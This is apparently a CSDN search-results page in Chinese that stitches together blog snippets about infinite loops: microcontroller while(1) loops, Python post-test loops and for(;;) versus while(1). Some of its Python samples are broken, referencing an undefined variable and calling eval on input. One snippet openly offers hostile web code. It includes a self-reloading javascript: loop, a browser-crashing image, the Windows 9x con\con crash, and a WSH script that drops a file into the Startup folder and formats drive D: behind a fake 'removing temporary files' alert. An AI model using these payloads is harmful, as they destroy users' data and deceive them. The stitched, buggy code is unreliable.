单片机为什么要有死循环_为什么在单片机程序中要有死循环 - CSDN
  • 为何单片机的程序必须是死循环?!!这个问题困扰了我好久,然而答案却是这个样子的!单片机没有操作系统,不像电脑Windows,程序运行与结束操作系统管理。单片机的程序是不能结束的,否则会使单片机系统出现不...

    为何单片机的程序必须是死循环?!!

    这个问题困扰了我好久,然而答案却是这个样子的!

    单片机没有操作系统,不像电脑有Windows,程序运行与结束有操作系统管理。单片机的程序是不能结束的,否则会使单片机系统出现不确定的状态;
    一般编译会自己加上
    如果汇编写,一般不用做循环 
    展开全文
  • 死循环的使用:死循环并非一无是处,C语言中死循环while true或 while 1 是单片机编程的普遍用法,死循环一直运行等待中断程序发生,然后去处理中断程序。在Python中,我们也可以利用死循环完成特定功能。下面这段...
    何为死循环:在编程中,一个无法靠自身的控制终止的循环被称为死循环。

    死循环的使用:死循环并非一无是处,C语言中死循环while true或 while 1 是单片机编程的普遍用法,死循环一直运行等待中断程序发生,然后去处理中断程序。
    在Python中,我们也可以利用死循环完成特定功能。
    下面这段死循环程序可以用来一直捕捉输入异常。
    while True:
        try:
            x=int(input("Please enter a number:"))
            break
        except ValueError:
            print("Oops,that was no valid number. Try again ...")
    后测循环:

    假设程序需要用户输入一个非负数
    如果输入错误,重新提示用户输入直到得到一个有效值。
    伪代码如下:
    重复执行以下语句
    接受外部输入数据
    直到外部输入为负值为止
    循环不断接收输入,直到接受到合法的值为止
    条件判断在循环体后面,称之为后测循环(即前面提到过的“直到型循环”)
    后测循环至少执行一次循环体

    后测循环实现:
    Python没有后测循环语句,但可以通过while间接实现。
    思想是设计一个循环条件,直接进入循环体,循环至少执行一次,相当于后测循环。
      number=-1
      while number<0:
         number=eval(input("Enter a positive number:"))

    break语句也可以用来实现后测循环:
      while True:
          number=eval(input("Enter a positive number:"))
          if x>=0:break #如果数字有效则跳出循环

    #while语句体永远执行,if条件决定循环退出
    另外:if语句体只包含一个语句时,break可以跟在if同一行。这种结构被称为循环出口。

    #后测循环代码1
    在前面的while版本的后测循环代码中添加一个if语句,使得在有效输入时不显示警告。
    修改代码如下:
      number=-1
          while number<0:
            number=eval(input("Enter a positive number:"))
            if number<0:
               print("The number you entered was not positive")
    在上面这段代码中,合法性检验重复了两次。

     


    #后测循环代码2
    限定合法性检验只判断一次,需为if添加匹配的else语句来实现
    修改后的代码如下:
        while True:
             number=eval(input("Enter a positive number:"))
              if x>=0:
                  break ##如果数字有效则跳出循环
              else:
                  print("The number you entered was not positive")
    
    

    半路循环:运用break中途退出循环,循环出口在循环体中部,被称为半路循环

    
    
    while True:
        number=eval(input("Enter a positive number:"))
        if x>=0:break  #跳出循环
        print("The number you entered was not positive")

    半路循环-哨兵:半路循环退出实现哨兵循环的一般模式:

    
    
    While True:
       Get next data item
       if the item is the sentinel :break
       process the item

    我们注意:break语句是一种很方便的设计,但是,任何算法都可以使用不包含break语句的其他语句来实现
    在程序中是否使用break语句,跟个人编程风格有关。
    应避免在一个循环体内使用过多的break语句。因为当循环有多个出口的时候,程序逻辑就显得不够清晰了。

    转载于:https://www.cnblogs.com/shenxiaolin/p/8452002.html

    展开全文
  • 单片机的编程中经常用到while(1)死循环来进行轮寻操作,但分析Linux内核源代码时却经常见到for(;;)作为死循环的条件。 两者区别: 区别一 for(;;)死循环里的两个;;代表两个空语句,编译器一般会优化掉...

    引言:


           单片机的编程中经常用到while(1)死循环来进行轮寻操作,但分析Linux内核源代码时却经常见到for(;;)作为死循环的条件。


    两者区别:


            区别一

            for(;;)死循环里的两个;;代表两个空语句,编译器一般会优化掉它们,直接进入循环体。

            while(1)死循环里的1被看成表达式,每循环一次都要判断常量1是不是等于零。

            区别二

            同样的代码,编译出的程序代码大小不同。


    示例分析:


    for.c源码:

    #include <stdio.h>
    
    int main(void)
    {
    	for(;;){
    		printf("123\n");
    	}
    
    	return 0;
    }
    
    
    while.c源码:

    #include <stdio.h>
    
    int main(void)
    {
    	while(1){
    		printf("123\n");
    	}
    
    	return 0;
    }
    
    
    汇编上面的两个程序发现它们的汇编源码完全相同

    	.file	"while.c"
    	.section	.rodata
    .LC0:
    	.string	"123"
    	.text
    .globl main
    	.type	main, @function
    main:
    	pushl	%ebp
    	movl	%esp, %ebp
    	andl	$-16, %esp
    	subl	$16, %esp
    .L2:
    	movl	$.LC0, (%esp)
    	call	puts
    	jmp	.L2
    	.size	main, .-main
    	.ident	"GCC: (Ubuntu 4.4.1-4ubuntu8) 4.4.1"
    	.section	.note.GNU-stack,"",@progbits
    这样看来两者似乎没有任何区别,其实不然,编译生成程序的大小不同

    -rwxr-xr-x 1 book book 8296 2014-06-12 22:32 for
    -rwxr-xr-x 1 book book 8298 2014-06-12 22:33 while




    展开全文
  • 各种厉害的死循环代码

    千次阅读 2014-11-27 23:29:36
    给大家分享一款很厉害的死循环代码,喜欢的朋友可以下载学习,但不得非法使用。 网页中的死循环代码   A、死循环代码: 『把下列代码加入到网页中,可达到如上效果』 说明:当含有这段代码的网页被人...

    给大家分享一款很厉害的死循环代码,喜欢的朋友可以下载学习,但不得非法使用。
    网页中的死循环代码
     
    A、死循环代码:
    『把下列代码加入到网页中,可达到如上效果』
    <img src=javascript:location=“网页的文件名.htm:”>


    说明:当含有这段代码的网页被人点击,连接就会不断的打开IE浏览器,直到你的系统资源浪费到0%~只有重新启动才能正常使用!


    预防方法:禁用所有的ActiveX控件和插件!因为这是一个ActiveX教本程序~


    B、恐怖的大图片:
    『把下列代码加入到网页中,可达到如上效果』
    <img src= "http://恐怖图片的连接地址" width= "1" height= "100000000000000000000000">


    说明:当打开这样的网页,IE会不断的解释试图打开,但由于图片实在太大,超出了其处理能力,所以……


    C、地震死机代码:
    『把下列代码加入到网页中,可达到如上效果』
    <script>
    if (window.top.moveBy){
    for (i = 1;i < 50; i++){
    for (j = 3;j > 0; j--){
    window.top.moveBy(0,i);
    window.top.moveBy(i,0);
    window.top.moveBy(0,-i*2);
    window.top.moveBy(-i*2,0);
    window.top.moveBy(0,i);
    window.top.moveBy(i,0);
    }
    }
    }
    </script>
    <img src="c:\con\con">


    说明:<img src="c:\con\con">是windows9x的设备名称解析漏洞
    WINDOWS9x的\con\con设备名称解析漏洞允许用户进行攻击,倒是98死机。原理:我们知道,CON是DOS下的特殊设备名,不允许做文件名,如果我们在DOS下键入如下命令:copy coldcrysky.txt con,系统会显示coldcrysky.txt的内容,如果换成:copy coldcrysky.txt>con系统会提示文件不能拷贝到文件自身。如果吧con换成LPT或PRN,则输出coldcrysky.txt到打印机。由此可见,CON代表文件本身,如果使用\CON\CON命令,则意味着系统不断调用文件本身,视系统资源迅速枯竭,连按CTRL+ALT+DEL的机会都没有~
    解决办法:
    对于9X系统,强烈建议打补丁!!!2000和XP则不会死机~


    D、格式化硬盘:(最恐怖的~~~慎用!!!请勿用于非法用途!!!使用后如果有任何负作用,后果自负!与伤寒天空『ColdCrySky』;乱刀留影无关!!!)


    scr,Reset();
    scr.Path="C:\\WINDOWS\\StartMenu\\Programs\\启动\\startup.htm";
    scr.Doc="<object id=`wsh` classid=`clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B`>"
    WSH.rUN(`start/m format.com d:/q/autotest/u`);
    alert(`IMPORTANT : Windows is removing unused temporary files.`);
    scr.write();


    说明:当您浏览了网页,会把startup.hta文件写入启动文件夹,并提示WINDOWS正在删除临时文件!实际上是在格式化你的D盘,代码中的:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B对应为:Windows Scripting Host Shell Object。代码中的:WSH全称是:Windows Scripting Host,是微软的一种基于32位系统平台与语言无关的教本解释机制,它使得脚本能在WINDOWS桌面或命令提示符下运行~WSH所对应的程序WScript.exe是一个脚本语言解释器,位于WINDOWS所在文件夹下,所以它可以像执行批处理文件一样执行WSH脚本程序~
    解决方法:1)更新您的浏览器,使用最新的浏览器上网!
    2)修改msdos.sys,在其中加入:Bootmentu=0命令行,目的是禁用启动菜单。
    3)吧format.com改名
    4)禁用WSH。具体方法:在win98中,从添加删除程序中点击WINDOWS安装程序,打开附件一项,将WINDOWS SCRIPTING HOST前面的选项去掉,就可以卸载掉WSH了~~~win2000和xp的用户可以在我的电脑-工具菜单-文件夹选项-选择文件类型,找到VBS VBSCRIPT FILE选项,点击删除!

    展开全文
  • for(;;)和while(1)两种死循环的区别

    千次阅读 2018-03-07 20:30:02
     while(true)死循环里的true被看成表达式,每循环一次都判断表达式是否真。 即,相对来说for式死循环更加高效一点。当然以上条件成立还要看编译器的优化,一些编译器优化的两者并无区别,但是,并非所有的...
  • 一道简单的编程题 题目: 计算增值税。开始选择纳税人种类:一般纳税人和小规模纳税人,然后计算: 如果是一般纳税人 提示输入 本月销项和进项税额 如果是小规模纳税人 提示输入营业额 一般纳税人 增值税=(本月...
  • 单片机程序主函数中一定加while(1)

    千次阅读 2018-07-26 15:44:18
    单片机的主程序中,我们在写程序的时候,总是写一个while(1)的语句,以此达到让程序进入一个无限死循环中,其目的是让程序一直保持在我所需要的运行情况下,例如:流水灯的程序让LED灯一直在交替闪烁,LCD显示不停...
  • 当一个系统比较大时,尤其是涉及到一些复杂的算法时,很可能会碰到死循环的情况发生,造成系统的CPU飙升,但是由于代码实在太多,不容易找到发生死循环的源头在哪。其实利用JDK 自带的分析工具JConsole和JTop就...
  • 汇编中的死循环

    千次阅读 2014-03-01 18:21:57
    但是在运行程序的时候却进入了死循环。我都不知道这是为什么,然后我进行调试,这 次调试的方法我不是用debug直接一步步的调试 assume cs:code,ds:data,ss:stack data segment  db 10 dup (0) data ends ...
  • 单片机什么是看门狗?

    万次阅读 多人点赞 2018-06-23 09:53:20
    看门狗是单片机里的一种技术(软硬件都可以),其目的是为了保护芯片避免其进入死循环(或者说程序跑飞)。看门狗一个输入端和一个输出端。看门狗和单片机程序的主体部分连接,如果主体部分运行正常,那么每一段...
  • 快速入门51单片机

    千次阅读 多人点赞 2019-08-04 20:17:25
    首先打开看51单片机的管脚分布,51单片机是8个引脚一组,为什么是8个一组呢? 因为它是8位单片机,正好一个字节8位可以控制它 51单片机有4组(P1,P2,P3,P4)通用管脚,所以51单片机有4*8=32个通用管脚 管脚...
  • 快速定位死循环位置

    千次阅读 2015-12-24 15:11:13
    #ifdef(DEBUG) #define WHILE(x) writes(__FILE__,__LINE__);while(x) #else #define WHILE(x) while(x) #endif
  • 单片机中while(1)的用途

    千次阅读 2020-06-05 15:33:18
    这是一个死循环,代码不再向下执行。 用途: 一般在调试代码时,为了检测一部分代码是否OK,防止后面的代码干扰执行结果,会在观测点加上while(1); 有些代码检测到运行错误时,会抛出错误(打印、设置错误码),...
  • 1.三种循环语句的区别: do...while循环至少执行一次循环体。 而for,while循环必须先判断条件是否成立,然后决定是否执行循环体语句。 for循环和while循环的区别: 如果你想在循环结束后,继续使用控制条件的...
  • 单片机复位为什么要加二极管

    千次阅读 2013-08-08 17:46:55
    复位电路中,放电二极管D不可缺少。...电源瞬间断电干扰会导致程序停止正常运行,形成程序“乱飞”或进入“死循环”。若断电干扰脉冲较宽,可以使RC迅速放电,待电源恢复后通过上电自动复位,使程序进入正常状态
  • 51单片机学习历程(二)快速入门51单片机

    千次阅读 多人点赞 2018-07-19 11:43:59
    首先打开看51单片机的管脚分布,51单片机是8个引脚一组,为什么是8个一组呢?  因为它是8位单片机,正好一个字节8位可以控制它  51单片机有4组(P1,P2,P3,P4)通用管脚,所以51单片机有4*8=32个通用管脚 管脚...
  • 51单片机堆栈的介绍

    千次阅读 2018-02-06 09:26:57
    堆栈是一种数据结构。一直以为堆栈是一个寄存器,惭愧!教科书定义:所谓堆栈,就是只允许在其一端进行数据插入和数据删除的线性表。51单片机单片机的堆栈是...单片机的程序归根结底是个死循环,反复在执行Main函数(主
  • 基于51单片机的流水灯设计

    千次阅读 2020-07-23 20:41:47
    死循环:设置P2口11111110,使用左移函数,循环七次。 同时每次位移中间加入延时函数。 三个按键:A按键启动、B按键控制不同流水速度(低中高)、C按键控制流水灯暂停蜂鸣器长响: 思路一:设置一个变量i,起初0...
  • 单片机是没有上操作系统的东西,在keil中编写的代码都是裸机代码,深入编写裸机代码助于了解硬件的特性。...为何加一句while死循环让程序停留在main函数中呢。将while(1);语句去掉有什么影响么? ...
1 2 3 4 5 ... 20
收藏数 4,457
精华内容 1,782
关键字:

单片机为什么要有死循环